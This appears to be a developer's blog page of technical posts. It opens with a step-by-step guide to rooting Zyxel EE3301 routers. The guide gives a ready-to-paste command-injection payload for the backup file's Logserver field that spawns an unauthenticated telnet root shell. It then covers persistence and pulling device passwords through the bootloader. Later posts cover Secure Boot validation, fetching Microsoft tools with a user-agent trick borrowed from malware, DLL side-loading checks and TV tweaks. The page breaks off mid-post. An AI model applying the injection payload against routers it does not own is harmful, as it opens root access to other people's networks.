Gaining root access on Zyxel EE3301 and other vulnerable Zyxel devices

The BIG DISCLAIMER

1. These steps worked on the device I have, which is an EE3301-00 router running firmware V5.63(ACMU.2)C0.
   While I strongly suspect that what's described below will work for all the devices/firmwares flagged as affected in the relevant Zyxel advisory, I make NO GUARANTEE that this will be the case.
   
   
2. If you are not careful, you can easily brick your device by executing root commands. Therefore, should you choose to follow these steps, you explicitly assume ALL the risks, including potential loss of data, or the manufacturer/ISP being unwilling to service your device, or your hardware becoming irreversibly damaged. In other words, no matter of how much you may want to believe otherwise, these steps SHOULD be construed as an explicit and very deliberate breach, by you, of your device's warranty. Should you choose to proceed, you therefore tacitly agree that any servicing and/or replacement cost, subsequent to attempting to root your device, is 100% with you.
   
   
3. I do not take any credit for finding or even figuring out how to exploit this vulnerability. The vulnerability was discovered by William Honnér, who responsibly disclosed it to Zyxel, which in turn led to the CVE-2026-6952 advisory that I used as my starting point. I had no contact whatsoever with William Honnér, be it direct or indirect, with regards to how one could practically exploit this vulnerability, which he obviously managed to perform long before I did. So, whereas all the credit for the discovery of the vulnerability should go to him, none of the blame for its actual public exploitation should be directed at him.
   
   

The easy-to-execute, "even my grandma could do it", steps

1. Log in into the web console of your device and validate, from the System Info section, that, first, your Model Name is listed in the Affected model from this page, and that your Firmware version is lower than the Patch availability* version listed for the same model. If that is not the case, the exploit is unlikely to work.
   
   
2. Click on the extended menu (The 3 horizontal bar symbol, in the top right), go to Maintenance → Backup/Restore and click the Backup button to save a backup, which you should name as Backup_Restore.json. Please make sure to add the .json extension, so that editing the text with a smart text editor that provides syntax highlighting will be easier.
   
   
3. Now go to the directory where you saved the file, open it with a text editor of your choice, and search for the string "LogServer" (including the double quotes). There should only ONE such line in the whole file, most likely with the content "Logserver":"0.0.0.0", (but the part in quotes after "Logserver": doesn't really matter as we are going to replace it).
   
   
4. Now replace the full Logserver line in the file with this line exactly:
   

   "Logserver":"0.0.0.0\");program(\"[ ! -f 192.168.1.100 ] && { echo 'exec /bin/sh'>192.168.1.100;/usr/sbin/telnetd -l /bin/sh -p 1337; }\");};#",
    

5. Then, in the content you just inserted, replace both 192.168.1.100 above with the IP of the client machine from which you will issue telnet and save the file. On Windows, you can find your IP with ipconfig and on Linux with ip addr. Note that this is not the same as the IP of the Zyxel device (which would usually be 192.168.1.1) but the IP of your Windows, Linux or Mac machine. Unless you use the right IP, the telnet session will terminate prematurely.
   
   
6. In the we console, still in the Maintenance → Backup/Restore interface, go to Restore Configuration and click the Browse... button to select the file you just edited. Then click the Upload button and wait for the update to be applied. Your Zyxel device will reboot.
   
   
7. Once the device has rebooted, log back to the web console and Go to Maintenance → Log Settings. Make sure Syslog Logging is set to enabled and set Mode to Remote, then navigate to the bottom of the page and and click Apply.
   
   
8. From a command prompt on the client machine, issue telnet 192.168.1.1 1337 (making sure to specify same telnet port as what was set for -p parameter above), and then, as you marvel at the beauty of your newly acquired BusyBox root shell, utter the obligatory "We're in...".
   
   

The (small) troubleshooting section

• If you're on Windows and you get 'telnet' is not recognized as an internal or external command, you need to install it from the Turn Windows features on or off in the Program and Features of the Control Panel. Google it!
  
  
• If you get Could not open connection to the host, on port 1337: Connect failed or Unable to connect to remote host: Connection refused it means that you either forgot to specify a port after the server IP address, or did not specify the same port as what is used for the -p parameter in the line you edited, or that you didn't enter the line properly (please pay attention to the double quotes, the backslashes and the comma at the end of the line. These are important!), so just retry the steps and pay closer attention.
  
  
• If you are seeing something like
  

  /bin/ash: can't open '192.168.1.100': No such file or directory

  after issuing the telnet command, it simply means that you didn't properly set the TWO IP addresses you needed to set in the field you edited. So please edit the .json file again, make sure you set them up properly, and re-upload the file using restore configuration.
  
  

The suggested next steps

1. Edit /tmp/var/home/root/zcfg_config.json and add your SSH public key to the SshKeyBaseAuthPublicKey field you should easily be able identify for the root account. This key will be persisted across reboot/poweroff (but not if you reset your device using the reset pin at the bottom). After reboot this grants you permanent root shell access through ssh and allows you to disable the telnet hack (for which you can just edit the LogServer field back to what it was using the web console.
   
   
2. Issue passwd supervisor to override the supervisor account password. This will allow you to logon on as supervisor / <the password you set> in the web console, which will give you access to extra administration fields, such as the super intrusive TR-069 protocol that sends data and grants access to your device and home network to your ISP and that you can then disable. Note that this password will not be persisted across reboot/poweroff.
   
   
3. (DANGEROUS) While logged as supervisor in the web console, in the backup/restore menu, you will also find a ROM-D section where you can store your current settings as the version that gets installed when you press the reset button. You may want to use that feature to permanently store your SSH public key for the root account so that, even if you go through a firmware update that patches the vulnerability as well as a platform reset, you will not lose root access. But I would strongly suggest to only save a configuration that altered the root public key, and the root public key only, while leave all the other fields as they were from defaults, just in case. This is because, you will of course be able to restore all your other settings post reset using the regular console backup/restore (including the supervisor settings, if you have root access), so there's really no need to drastically alter the default reset configuration which could have unintended effects.
   
   

The Scooby-doo villain 

With ssh sorted, since we also get a nice motd greeting, we can now also have a look at who our Zyxel OS "villain" actually was... Oh my, it was none other than good old:

BusyBox v1.33.1 () built-in shell (ash)

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 OpenWrt 21.02.1, r16325-88151b8303
 -----------------------------------------------------
root@EE3301-00:/tmp/var/home/root#

Hardware manufacturers using much better and freer Open Source projects as their base, and doing their darnedest to restrict/limit what they do? Who could have seen it coming?

The root/supervisor password retrieval (for advanced users)

If you're like me, even with all the above completed, you still don't like the idea of having a Linux device with a root password that you don't know, especially, if it's all that stands between being able to keep root access should you update your firmware to one where the vulnerability has been fixed. Or worse (as you will have seen if you fiddled with the easily available serial port from the device) the low level bootloader access is protected.

 

Thankfully, through the good work of hack-gpon.org, this can somewhat easily be remedied, provided that you have access to the 3.3V TTL serial adapter.

 

First of all, to access the serial port on the EE3301, you just need to remove the bottom of the device by unscrewing the 4 screws that are hidden behind the bottom pads:

 

From there, you will be able to access your friendly neighborhood spider po..., I mean, serial port, for which each pin or the whole socket can relatively easily be plugged/unplugged using a pair of small pliers without having to remove the other parts of the clamshell enclosure (which I did actually remove for the purpose of this picture):

Armed with that knowledge, and your trusty 3.3V serial adapter (where you may not even have to connect the 3.3V pin, as long as you do connect the other 3 pins), and using a serial line configured with the usual 115200 8N1 settings, you are soon able to access the whole boot sequence and interact with a Linux logon prompt... for which you do not know the root password.

Worse, if you try to interrupt the very inviting autoboot, you are also prompted for a password:

ZYXEL zloader v3.1.6 (07/23/2025 - 05:34:50)
!!! Initialize nand !!!
Multiboot clinent version: 2.8

Hit any key to stop autoboot:  5
Password:
         Password:
                  Password:
                           Password:

How rude!

Thankfully, with root access, the bootloader password issue can easily be remedied (by removing it entirely). To do just that, and logged as root, you should first issue the fw_printenv command and validate that you see a line that says:

EngDebugFlag=0x0

Then, only if you see that line, you should issue the command:

fw_setenv EngDebugFlag 0x1

From there, you can reboot and, in your serial console, you will find that you can now interrupt the zloader without being prompted by a password:

ZYXEL zloader v3.1.6 (07/23/2025 - 05:34:50)
!!! Initialize nand !!!
Multiboot clinent version: 2.8

Hit any key to stop autoboot:  5
ZHAL>

Now we're (actually) talking!

And it gets even better that that, as, in this prompt, you can issue the command atck which will give you the root/supervisor password you are after:

ZHAL> atck
supervisor password: 7DU(su]#-v
admin password     : 4rS8+$7]
WiFi PSK key       : 4I3g@oN(78

(NB: Obviously, these are not my actual device passwords, but passwords, of the type Zyxel uses, that I generated online for the purpose of this example).

Then, once you have saved your passwords, you can exit zloader and reboot the device with the command atsr.

Now, even if you reset the firmware to defaults (using the reset button) or upgrade it to a non vulnerable version (since there's no way Zyxel will update root/supervisor passwords that people rely on while fixing vulnerabilities), you will still have root access. And will also have access to the supervisor account for the web console. Isn't it great?

It is also possible that there is a way to retrieve the root password without serial access (like sys atck used to be able to do from the root account), but it looks to me like Zyxel removed that and that you do need serial/bootloader access to do so.

The better way

"You know you can also get root without using save/restore and without having to reboot the device?"

Yes, I know. That's how I initially did it. And I am actually planning to document this in a subsequent post, titled "Zyxel, How we got there", which, IMO, will contain the more interesting part since it will detail the full trial and error process we went through for figuring out the exploit. However, adding JavaScript breakpoints and overriding JavaScript variables on the console is a bit more involved than editing a simple JSON text file, so that's why, whereas there does exist a more immediate way to get root, we chose simplicity over "l33t skillz".

authval.py - A python script to validate Secure Boot signed auth variables

Since I had the displeasure of fighting broken/quirky/limited UEFI Firmware implementations, as part of Mosby, and had to double check whether a signed Secure Boot authvar should be accepted as valid.

Usage ./authval.py <var.auth> where var.auth should start with PK, KEK, DB or DBX according to the variable you are trying to check (so that we automatically fill GUID and attributes for the signed payload). Also note that APPEND is assumed for all variables, except PK.

#!/bin/env python3
# authval.pl - A Python script to validate Secure Boot signed auth variables
# Copyright 2026 Pete Batard <pete@akeo.ie> - GPL v3 or later

import re
import argparse
import struct
import uuid
from datetime import datetime, timezone

from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
from asn1crypto import cms, x509 as asn1_x509

def guid_to_bytes(g):
    """Convert GUID string to EFI little-endian byte order"""
    u = uuid.UUID(g)
    return struct.pack("<IHH8s", u.time_low, u.time_mid, u.time_hi_version, u.bytes[8:])

def utf16le_no_null(s):
    return s.encode("utf-16le")

def parse_authentication_2(data):
    efi_time = data[:16]
    cert_hdr = data[16:16+24]

    length, revision, cert_type = struct.unpack("<IHH", cert_hdr[:8])
    cert_guid = uuid.UUID(bytes_le = cert_hdr[8:24])

    cert_data = data[16+24:16+length]
    payload_offset = 16 + length
    payload = data[payload_offset:]

    return efi_time, cert_data, payload

def build_signed_data(variable_name, vendor_guid, attributes, efi_time, variable_payload):
    buf = b""
    buf += utf16le_no_null(variable_name)
    buf += guid_to_bytes(vendor_guid)
    buf += struct.pack("<I", attributes)
    buf += efi_time
    buf += variable_payload
    return buf

def load_pkcs7_signed_data(pkcs7_der):
    try:
        ci = cms.ContentInfo.load(pkcs7_der)
        if ci['content_type'].native != 'signed_data':
            print(f"ERROR: PKCS#7 ContentType is set to '{ci['content_type'].native}'. UEFI specs requires 'signed_data'.")
            return None
        else:
            print("WARNING: PKCS#7 ContentType is set, but a longstanding EDK2 bug may lead some platforms to reject it!")
            print("For more on this, see https://github.com/tianocore/edk2/commit/37d3eb026a766b2405daae47e02094c2ec248646.")
        return ci['content']
    except Exception:
        # Bare content. *NOT* actually specs-compliant (at least for UEFI v2.3.1), but due to
        # an implementation bug in EDK2's VerifyTimeBasedPayload(), became de-facto standard,
        # especially as Microsoft, who did notice the bug, but never bothered to report it to
        # the EDK2, *like the good UEFI Secure Boot stewards they are*, dropped ContentType
        # from all the DBX updates they published...
        sd = cms.SignedData.load(pkcs7_der)
        # Wrap it to normalize handling
        ci = cms.ContentInfo({
            'content_type': 'signed_data',
            'content': sd
        })
        return ci['content']

def validate_uefi_variable(variable_blob, variable_name, vendor_guid, attributes):
    efi_time, pkcs7, variable_payload = parse_authentication_2(variable_blob)

    signed_data = build_signed_data(variable_name, vendor_guid, attributes, efi_time, variable_payload)

    try:
        signed_data_obj = load_pkcs7_signed_data(pkcs7)
        signer = signed_data_obj['signer_infos'][0]
    except Exception:
        return
    # Extract signer certificate from embedded certs
    certs = [
        cert.chosen for cert in signed_data_obj['certificates']
        if isinstance(cert.chosen, asn1_x509.Certificate)
    ]

    # Match signer by serial number
    serial = signer['sid'].native['serial_number']
    signer_cert = next(c for c in certs if c.serial_number == serial)

    # Load with cryptography
    cert = x509.load_der_x509_certificate(signer_cert.dump())
    pubkey = cert.public_key()

    digest_algo = signer['digest_algorithm']['algorithm'].native
    msg = "ERROR: Signature is INVALID!"
    if digest_algo == 'sha256':
        hash_alg = hashes.SHA256()
        signature = signer['signature'].native
        try:
            pubkey.verify(signature, signed_data, padding.PKCS1v15(), hash_alg)
            msg = "Signature is valid"
        except Exception:
            pass
    else:
        msg = f"Signature uses invalid algorithm: {digest_algo}"

    print("Signer cert subject:", cert.subject)
    print("Signer cert issuer :", cert.issuer)
    print("Signer serial num  :", cert.serial_number)
    print(msg)

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("file", help="signed authvar")
    args = vars(ap.parse_args())

    if re.search('PK', args['file'], re.IGNORECASE):
        var_guid = "8be4df61-93ca-11d2-aa0d-00e098032b8c"
        var_name = "PK"
        var_attr = 0x27 # NV_BS_RT_AT
    elif re.search('KEK', args['file'], re.IGNORECASE):
        var_guid = "8be4df61-93ca-11d2-aa0d-00e098032b8c"
        var_name = "KEK"
        var_attr = 0x67 # NV_BS_RT_AT_AP
    elif re.search('DBX', args['file'], re.IGNORECASE):
        var_guid = "d719b2cb-3d3a-4596-a3bc-dad00e67656f"
        var_name = "dbx"
        var_attr = 0x67 # NV_BS_RT_AT_AP
    elif re.search('DB', args['file'], re.IGNORECASE):
        var_guid = "d719b2cb-3d3a-4596-a3bc-dad00e67656f"
        var_name = "db"
        var_attr = 0x67 # NV_BS_RT_AT_AP
    else:
        print(f"'{args['file']}' is either missing a Secure Boot variable identifier (PK, KEK, DB, DBX)")
        print(f"in its name, or is not one of the Secure Boot variables we support for validation.")
        sys.exit(1)

    with open(args['file'], "rb") as f:
        variable_blob = f.read()

    print(f"Detected '{var_name}' - Using GUID: {var_guid} and ATTRS: {var_attr:#0x}")

    validate_uefi_variable(
        variable_blob=variable_blob,
        variable_name=var_name,
        vendor_guid=var_guid,
        attributes=var_attr
      )

Downloading oscdimg.exe from Microsoft

In their typical fashion, unless you know what you're doing, Microsoft made it incredibly difficult to get your hands on a simple basic executable, that they should by all means provide as an easily accessible download, since it's one of the basic utility you may want to have at hand to create an ISO from a bunch of files and directory.

Well, we know what we're doing, which is to use a very handy technique that we picked up from actual malware, so, from PowerShell:

 
curl.exe -L -A "Microsoft-Symbol-Server/10.0.0.0" https://msdl.microsoft.com/download/symbols/oscdimg.exe/688CABB065000/oscdimg.exe -o oscdimg.exe
 

There. Now you have oscdimg and you can get on with your life without having to download gigabytes of extra garbage.

Oh and to create an ISO using a Windows command prompt from this very handy tool: 

 
oscdimg -g -h -k -m -u2 -udfver102 -l"My Image" C:\tmp\image\ C:\tmp\image.iso
 

What, I'm repeating myself? No I'm not repeating myself.
What, I'm repeating myself?

Oh, and since I am feeling generous today, I might as well provide you with a Python script that allows you to generate the URL on your own, from any Microsoft PE executable: 

#!/bin/env python3

# This script generates the debug server URL from a Microsoft PE executable, which
# then allows you to download it directly from Microsoft. Use this URL in:
#
#   curl.exe -L -A "Microsoft-Symbol-Server/10.0.0.0" <URL> -o <EXE_NAME>

import os
import sys
import pefile

def build_symbol_server_url(pe_path):
    # Get the filename
    exe_name = os.path.basename(pe_path)
    
    # Load the PE file
    pe = pefile.PE(pe_path)
    
    # Extract TimeDateStamp and SizeOfImage
    time_date_stamp = pe.FILE_HEADER.TimeDateStamp
    size_of_image = pe.OPTIONAL_HEADER.SizeOfImage
    
    # Build the hex part (TimeDateStamp: 8 hex digits, SizeOfImage: uppercase hex, no leading zeros removed)
    hex_part = '{:08X}{:X}'.format(time_date_stamp, size_of_image)
    
    # Construct the URL
    url = f"https://msdl.microsoft.com/download/symbols/{exe_name}/{hex_part}/{exe_name}"
    return url

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <path_to_pe_file>")
        sys.exit(1)
    pe_path = sys.argv[1]
    try:
        url = build_symbol_server_url(pe_path)
        print(url)
    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)

Checking for DLL side-loading vulnerabilities in Windows applications

Alas, despite this issue being one of the most common plague of win32 applications, and Microsoft having had all the time in the world to make it go away, through the simple use of an application manifest that would tell the Windows loader to just disable looking for DLLs in the current application directory ever (because, believe it or not, some people do design self-contained executables that do not require loading anything else but system DLLs), application developers like yours truly still have to go through the utter annoyance of having to check whether their executable is potentially subject to DLL side-loading exploitation.

So, let's say you want to find out if Rufus is subject to side-loading. To do that, just download an run ProcMon and apply the following filters:

• Process Name contains rufus
• Operation is CreateFile
• Result contains NAME NOT FOUND

Oh and since ProcMon is rather heavy on the system (since it monitors everything in real-time), you probably want to pause it until you are actually ready to run the app.

Then, while ProcMon is running, launch the Rufus executable and look for any request (CreateFile) for a DLL to be loaded in the current application directory.

With Rufus 4.6, it turns out that we have one for cfgmgr32.dll:

Ouch!

What this means is that, if someone somehow managed to take control of your unprivileged user account or the location where the executable resides, they could drop a malicious cfgmgr32.dll that could run whatever elevated code they wish.

Granted, if someone already has that level of access to a Windows machine, then they probably don't need to wait for the user to run Rufus to be able to execute elevated code, because, well, if you do have user level access on Windows, it's pretty much game over already. But still, Rufus should not allow an untrusted DLL to be loaded from the application directory.

Now, I'll spare you the details on how MinGW delay-loading, which we previously used to avoid this exact issue with other DLLs, somehow just won't work with cfgmgr32 (and yes, that is after making sure we use __attribute__((visibility("hidden"))) for DECLSPEC_IMPORT since MinGW/binutils still have not sorted proper delay loading for gcc despite repeated pleas for them to do so on account that this leads to widespread security issues), but suffice to say that, this issue has been fixed in Rufus 4.7:

Much better!

Still, this stupid issue of DLL side-loading could easily have been fixed by Microsoft ages ago by providing applications developers with the ability to indicate that an executable should never ever load DLLs from the current/application directory. Yet it seems that, not happy to leave a glaring easily exploitable vulnerability in Windows, Microsoft actually backpedalled on an option they had originally added to SetDllDirectory(), where passing "" as a parameter was designed to remove the loading of DLLs from current user directories. If you look at the SetDllDirectory documentation now, you will see that this mode of operation, which I did quote verbatim in Rufus at the time (If the parameter is an empty string (""), the call removes the current directory from the default DLL search order) is mysteriously absent, though it is still somehow currently mentioned in Microsoft's doc for Dynamic-Link Library Security.

And people wonder why Windows apps have a bad reputation when it comes to security issues... 

With thanks to EmperialX, assisted by Shauryae1337, for reporting the issue with Rufus 4.6, as well as pointing to ProcMon as a means to highlight these kind of vulnerabilities.

Instructions on how to disable/tweak the Pixel Refresher on LG OLED CX

NB: This would have been posted in answer to this or this but unfortunately these posts are archived, so it's not possible to comment on them... And when I tried to create a topic in reddit's /r/OLED community, the moderators shadowremoved the post without providing any explanation. Way to create a welcoming community, guys...

PREAMBLE

Now, before people jump on "It's there for a reason - You should not disable the LG Pixel Refresh!" bandwagon, let me explain my reasons for doing so:

• I have been the happy owner of an LG OLED65CX for the past four years, but, over the last few months, it has started to develop the dreaded TV not turning on on first try issue ⁽¹⁾⁽²⁾ (which is absolutely maddening in terms of LG having completely let their customers down on an otherwise great product, through shoddy PSU hardware design - The Samsung LCD TV I had before that and which this LG OLED replaced, is now 17 years old but powering up and working fine for crying out loud!). Coincidentally, the power issue started to happen around the 2000 hours panel usage mark.

• Which means that the TV can no longer properly turn on from standby after it has been off for a while.

• Which means that the long form Pixel Refresher is unable to run altogether.

• Which means that, every time I shut down or (eventually manage to) power up the TV, I get the reminders about the Pixel Refresher, which I cannot do anything about!

• And of course, I have tried running the Pixel Refresher manually, but even a manual run still waits for complete standby before running it, which means it still has the same issue as trying to run through the scheduler, as the TV can simply no longer power itself up on first attempt.

So, yes, when you don't have any other choice, there do exist legitimate reasons why you may want to disable the Pixel Refresher.

And, yes, it is possible to accomplish just that (at least on OLED CX models, I obviously cannot vouch for any other model) provided that you have enabled root access.

DISCLAIMER

THE COMMANDS BELOW ARE FOR ADVANCED USERS ONLY AND ARE PROVIDED WITHOUT ANY WARRANTY OF IMPLIED FITNESS FOR A SPECIFIC PURPOSE. SHOULD YOU DO CHOOSE TO RUN ANY OF THESE COMMANDS, YOU ACCEPT THAT THERE EXISTS A RISK THAT THEY MAY RESULT IN HARDWARE DAMAGE AND/OR LOSS OF WARRANTY, AND AGREE THAT THE ENTIRE RESPONSIBILITY OF RUNNING SAID COMMANDS LIES ENTIRELY WITH YOU.

COMMANDS TO DISABLE/TWEAK THE LG PIXEL REFRESHER

• Log on to your OLED TV as root through ssh/telnet and issue the command:

luna-send -d -n 1 -f "luna://com.webos.service.oledepl/getPixelRefresherInfoList" '{ "subscribe": false }'

This should return something like:

{
    "jbInterval": 2000,
    "returnValue": true,
    "jbLastTime": 0,
    "offrsInterval": 4,
    "offrsCount": 427,
    "offrsLastTime": 2030,
    "subscribed": false,
    "jbCount": 0,
    "pnwashKeyLock": true
}

• If it doesn't return anything, STOP and don't proceed any further, as your model or firmware is using a different way of controlling the Pixel Refresher from what I am describing.

• In the above, jb is the prefix for the "long form" Pixel refresher, that is scheduled every 2000 hours (jbInterval) and offrs is the "short form" Pixel Refresher that runs every 4 panel usage hours or so. Obviously, the one that is of interest to us, since it's the one that produces the popups, is the jb one.

• At this stage, you have 2 ways to approach the issue. You can either increase the interval at which the long form Pixel Refresher is scheduled to run. For instance, you can set it to 4000 hours by issuing:

luna-send -d -n 1 -f "luna://com.webos.service.oledepl/setPixelRefresherInfoList" '{ "jbInterval": 4000,"subscribe": false }'

• Or you can tell the system that the long form Pixel Refresher has run, by issuing:

luna-send -d -n 1 -f "luna://com.webos.service.oledepl/setPixelRefresherInfoList" '{ "jbLastTime": 2000, "subscribe": false }'
luna-send -d -n 1 -f "luna://com.webos.service.oledepl/setPixelRefresherInfoList" '{ "jbCount": 1, "subscribe": false }'

For good measure, I ran both on my model, and I was finally free from annoying Pixel Refresher reminder popups. Of course, this doesn't do anything to solve the major issue that appears to affect many CX models, including mine, with powering on the panel, but if, for whatever reason, you are looking at a means to tweak or disable the LG Pixel Refresher (on CX and similar models) now you know how to do it.

Oh and in case you want to explore what other commands the com.webos.service.oledepl provides, you can also issue:

ls-monitor -i com.webos.service.oledepl

It should also be noted that com.webos.service.oledepl is actually mapped to the /usr/sbin/eplmanager executable, which you can also run manually with the -d (Debug) option if you are feeling adventurous, but I REALLY wouldn't advise to do so, as you can probably break your TV beyond repair if you try things at random there, whereas the luna-send are assumed to have some form of validation...

Reboot to UEFI firmware settings from UEFI Shell

reset -c -fwui

There, you have it.

Adding EDK2 as a submodule without cloning it

Yeah, I have my reasons for this (mostly I commit on Windows, run the builds through GitHub Actions but compile from a non version-controlled Linux, and I don't want to suffer the wastage of yet another lengthy and cumbersome clone of EDK2).

This is mostly taken from https://stackoverflow.com/a/37378302/1069307:

mkdir edk2
git update-index --add --cacheinfo 160000 b158dad150bf02879668f72ce306445250838201 edk2
cat <<EOF >>.gitmodules
[submodule "edk2"]
	path = edk2
	url = https://github.com/tianocore/edk2.git
EOF

Of course, you should replace the commit hash with whatever current or stable EDK2 commit hash you want to point to.

And with this, you'll have added EDK2 as a submodule of your project without going through a cumbersome clone.

Downloading signtool.exe from Microsoft

In their typical fashion, unless you know what you're doing, Microsoft made it incredibly difficult to get your hands on a simple basic executable, that they should by all means provide as an easily accessible download, since it's one of the basic brick to try and safeguard a Windows platform.

Well, we know what we're doing, which is to use a very handy technique that we picked up from actual malware, so, from PowerShell:

curl.exe -L -A "Microsoft-Symbol-Server/10.0.0.0" https://msdl.microsoft.com/download/symbols/signtool.exe/910D667173000/signtool.exe -o signtool.exe
 

There. Now you have signtool and you can get on with your life without having to download 4 GB of extra garbage.

Python script to fix EDK2 patches downloaded with ThunderBird

It looks like ThunderBird and the EDK2 mailing list don't play too nice together, and you get annoying double line feeds being inserted into patches sent to the list, which are a major pain to deal with. And since I've grown tired of manually having to fix something like this:

 
Subject:
[edk2-platforms][PATCH 1/1] Platform/RaspberryPi: Fix Linux kernel panic on reset/poweroff
From:
Pete Batard <pete@akeo.ie>
Date:
2021.01.05, 14:09
To:
devel@edk2.groups.io

Commit 94e9fba43d7e132be3c582c676968a7f408072c1 introduced an unconditional
call to PcdGet32 after we exit boot services, that produces a kernel panic
on Linux reset.

This addendum to the previous commit ensures that we only read the PCD and
apply the delay while we are still in UEFI, which is what we want anyway as
the goal was to fix the storage of NV variables set by the user from within
the UEFI firmware interface.

Signed-off-by: Pete Batard <pete@akeo.ie>
---
 Platform/RaspberryPi/Library/ResetLib/ResetLib.c | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/Platform/RaspberryPi/Library/ResetLib/ResetLib.c b/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
index 4a50166dd63b..a70eee485ddf 100644
--- a/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
+++ b/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
@@ -52,13 +52,13 @@ LibResetSystem (
      * Only if still in UEFI.

      */

     EfiEventGroupSignal (&gRaspberryPiEventResetGuid);

-  }

 

-  Delay = PcdGet32 (PcdPlatformResetDelay);

-  if (Delay != 0) {

-    DEBUG ((DEBUG_INFO, "Platform will be reset in %d.%d seconds...\n",

-            Delay / 1000000, (Delay % 1000000) / 100000));

-    MicroSecondDelay (Delay);

+    Delay = PcdGet32 (PcdPlatformResetDelay);

+    if (Delay != 0) {

+      DEBUG ((DEBUG_INFO, "Platform will be reset in %d.%d seconds...\n",

+              Delay / 1000000, (Delay % 1000000) / 100000));

+      MicroSecondDelay (Delay);

+    }

   }

   DEBUG ((DEBUG_INFO, "Platform %a.\n",

           (ResetType == EfiResetShutdown) ? "shutdown" : "reset"));

-- 2.29.2.windows.2

Into this:

Subject: [edk2-platforms][PATCH 1/1] Platform/RaspberryPi: Fix Linux kernel panic on reset/poweroff
From: Pete Batard <pete@akeo.ie>
Date: 2021.01.05, 14:09
To: devel@edk2.groups.io

Commit 94e9fba43d7e132be3c582c676968a7f408072c1 introduced an unconditional
call to PcdGet32 after we exit boot services, that produces a kernel panic
on Linux reset.

This addendum to the previous commit ensures that we only read the PCD and
apply the delay while we are still in UEFI, which is what we want anyway as
the goal was to fix the storage of NV variables set by the user from within
the UEFI firmware interface.

Signed-off-by: Pete Batard <pete@akeo.ie>
---
 Platform/RaspberryPi/Library/ResetLib/ResetLib.c | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/Platform/RaspberryPi/Library/ResetLib/ResetLib.c b/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
index 4a50166dd63b..a70eee485ddf 100644
--- a/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
+++ b/Platform/RaspberryPi/Library/ResetLib/ResetLib.c
@@ -52,13 +52,13 @@ LibResetSystem (
      * Only if still in UEFI.
      */
     EfiEventGroupSignal (&gRaspberryPiEventResetGuid);
-  }
 
-  Delay = PcdGet32 (PcdPlatformResetDelay);
-  if (Delay != 0) {
-    DEBUG ((DEBUG_INFO, "Platform will be reset in %d.%d seconds...\n",
-            Delay / 1000000, (Delay % 1000000) / 100000));
-    MicroSecondDelay (Delay);
+    Delay = PcdGet32 (PcdPlatformResetDelay);
+    if (Delay != 0) {
+      DEBUG ((DEBUG_INFO, "Platform will be reset in %d.%d seconds...\n",
+              Delay / 1000000, (Delay % 1000000) / 100000));
+      MicroSecondDelay (Delay);
+    }
   }
   DEBUG ((DEBUG_INFO, "Platform %a.\n",
           (ResetType == EfiResetShutdown) ? "shutdown" : "reset"));
-- 2.29.2.windows.2

Here's a quick Python script that'll automate that for you:

import argparse

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('files', type=argparse.FileType('rb+'), nargs='+')
    args = parser.parse_args()

    for file in args.files:
        buffer = bytearray(file.read())

        # Delete initial empty line
        while (buffer[0] == 0x0d) or (buffer[0] == 0x0a):
            del buffer[0]

        # Un-split Subject: CC: etc.
        for i in range(buffer.find(b'\x0d\x0a---')):
            if (buffer[i] == 0x3a) and (buffer[i+1] == 0x0d) and (buffer[i+2] == 0x0a):
                del buffer[i+1]
                buffer[i+1] = 0x20

        # Remove double CRLF from chunks
        i = buffer.find(b'\x0d\x0a@@')
        while i < len(buffer) - 3:
            if (buffer[i] == 0x0d) and (buffer[i+1] == 0x0a) and (buffer[i+2] == 0x0d) and (buffer[i+3] == 0x0a):
                del buffer[i]
                del buffer[i]
            i = i + 1
        file.seek(0)
        file.write(buffer)
        file.truncate()

UEFI Hexdump

If you're developing UEFI firmware content, sooner or later you're going to want to dump binary data using the debug facility.

And so, without further ado:

(...)

#include <Library/BaseLib.h>
#include <Library/PrintLib.h>

(...)

STATIC
VOID 
DumpBufferHex (
  VOID* Buf,
  UINTN Size
)
{
  UINT8* Buffer = (UINT8*)Buf;
  UINTN  i, j, k;
  char Line[80] = "";

  for (i = 0; i < Size; i += 16) {
    if (i != 0) {
      DEBUG ((DEBUG_INFO, "%a\n", Line));
    }
    Line[0] = 0;
    AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), "  %08x  ", i);
    for (j = 0, k = 0; k < 16; j++, k++) {
      if (i + j < Size) {
        AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), "%02x", Buffer[i + j]);
      } else {
        AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), "  ");
      }
      AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), " ");
    }
    AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), " ");
    for (j = 0, k = 0; k < 16; j++, k++) {
      if (i + j < Size) {
        if ((Buffer[i + j] < 32) || (Buffer[ i + j] > 126)) {
          AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), ".");
        } else {
          AsciiSPrint (&Line[AsciiStrLen (Line)], 80 - AsciiStrLen (Line), "%c", Buffer[i + j]);
        }
      }
    }
  }
  DEBUG ((DEBUG_INFO, "%a\n", Line));
}

Updating XML files with PowerShell

Say you have the following file.xml:

<?xml version="1.0" encoding="UTF-8"?>
<data>
  <item name="Item 1" id="0" />
  <item name="Item 2" id="1001" />
  <item name="Item 3" id="0" />
  <item name="Item 4" id="1002" />
  <item name="Item 5" id="1005" />
  <item name="Item 6" id="0" />
</data>

And you want to replace all those "0" id attributes with incremental values.

If you have PowerShell, this can be accomplished pretty easily with the following commands:

